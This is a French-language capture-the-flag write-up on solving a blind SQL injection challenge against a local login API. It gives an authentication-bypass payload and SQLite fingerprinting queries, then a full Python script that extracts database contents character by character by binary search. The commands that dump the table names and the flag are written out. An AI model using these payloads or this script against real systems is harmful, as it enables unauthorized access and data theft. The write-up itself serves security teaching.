Au vu du nom du challenge, on peut supposer qu’il s’agira d’une injection SQL.
1. Analyse
On commence par jeter un oeil à l’application disponible à http://localhost:8000
. Il s’agit d’un portail de connexion qui requiert un nom d’utilisateur et un mot de passe.
Si on tente de se connecter avec n’importe quel identifiant, la page affiche le message “Login Failed” :
En regardant la requête, on constate que les identifiants sont envoyés au format JSON :
POST /api/v1/login/ HTTP/1.1
Host: localhost:8000
Content-Length: 37
Content-Type: application/json
{
"username": "user",
"password": "pass"
}
La réponse obtenue est la suivante :
{
"status": "fail"
}
On essaie d’injecter du SQL de la façon suivante :
{
"username": "' OR username='admin'-- -",
"password": "'"
}
L’application affiche désormais “Successful Login” au lieu de “Login Failed” :
Et dans la réponse, la valeur de status
est success
.
{
"status": "success"
}
2. Hypothèse
Réussir à se connecter ne suffit pas à résoudre le challenge. Par conséquent, on peut supposer que le flag est stocké en base de données.
Cependant, l’application ne retourne que peu d’informations : success
ou fail
. Il va falloir utiliser une technique d’injection SQL dite “à l’aveugle”. En effet, on ne peut pas lire la base de données. Il faut imaginer que l’on est face à quelqu’un ne pouvant répondre que “vrai” (success
) ou “faux” (fail
).
En premier lieu, on peut imaginer qu’on cherche à en apprendre plus sur la base de données afin d’en avoir un aperçu. Par exemple, quels sont les noms des tables ? On interrogerait la personne ne pouvant répondre que “vrai” ou “faux” ainsi : “Le premier caractère du nom de la première table est ‘a’”, “Le premier caractère est ‘b’”, et ainsi de suite jusqu’à obtenir un “vrai” et passer au caractère suivant.
Cette technique permet de récupérer des informations stockées en base de données en tirant parti d’une application ne retournant que deux valeurs différentes.
3. Implémentation
Lancer les requêtes une à une à la main étant trop fastidieux, on implémente un script Python pour résoudre le challenge.
Type de base de données
Avant toute chose, on souhaite déterminer la base de données utilisée en procédant par élimination.
Par chance, la requête suivante retourne fail
, mettant donc de côté PostgreSQL et MySQL.
{
"username": "' OR 1=(SELECT 1 FROM information_schema.tables)-- -",
"password": "'"
}
La requête ci-dessous retourne success
. La base de données est donc SQLite.
{
"username": "' OR 1=(SELECT 1 FROM sqlite_master)-- -",
"password": "'"
}
Le script
from sys import argv
from requests import Response, Session
BASE_URL: str = 'http://localhost:8000'
HEADERS: dict[str, str] = {
'Host': 'localhost:8000',
'Content-Type': 'application/json',
}
ORACLE: str = {"status": "success"}
MAX_LEN: int = 100
def sqli(session: Session, payload: str, pos: int, mid: int) -> None:
response: Response = session.post(
f"{BASE_URL}/api/v1/login",
json={
# La condition permettant de tester carctère par caractère est ci-dessous.
"username": f"' OR 1=1 AND SUBSTRING(({payload}), {pos}, 1) > '{chr(mid)}'-- - ",
"password": "'"
}
)
return response.json() == ORACLE
# Les caractères sont cherchés par dichotomie pour plus de rapidité.
def search_char(session: Session, payload: str, pos: int) -> str:
lower: int = 32
higher: int = 126
while lower <= higher:
mid: int = lower + (higher - lower) // 2
if sqli(session, payload, pos, mid):
lower = mid + 1
else:
higher = mid - 1
return chr(lower)
def main(payload: str) -> None:
result: list[str] = []
with Session() as session:
for i in range(0, MAX_LEN):
last_char: str = search_char(session, payload, i)
result.append(last_char)
if last_char == ' ' and i != 0:
break
print(''.join(result).strip())
if __name__ == "__main__":
if len(argv) != 2:
print("One argument is required: payload.")
else:
try:
main(argv[1])
except KeyboardInterrupt as err:
print(err)
Prérequis :
- Python 3.10
requests
Usage :
En partant du principe que le fichier du script se nomme main.py
.
$ python3 main.py <payload>
Exemple :
Obtenir la version de la base de données :
$ python3 main.py "SELECT SQLITE_VERSION()"
3.40.1
4. Exploitation
Premièrement, on obtient le nom des tables :
$ python3 main.py "SELECT group_concat(name,'|') FROM sqlite_master WHERE type='table'"
players|sqlite_sequence|flag
Une des tables se nommant “flag”, on a envie de l’examiner en affichant le nom des colonnes.
$ python3 main.py "SELECT group_concat(name,'|') FROM pragma_table_info('flag')"
flag
La table ne contient qu’une colonne, nommée elle aussi “flag”. On affiche son contenu et on obtient le flag :
$ python3 main.py "SELECT flag FROM flag"
ECSC{REDACTED}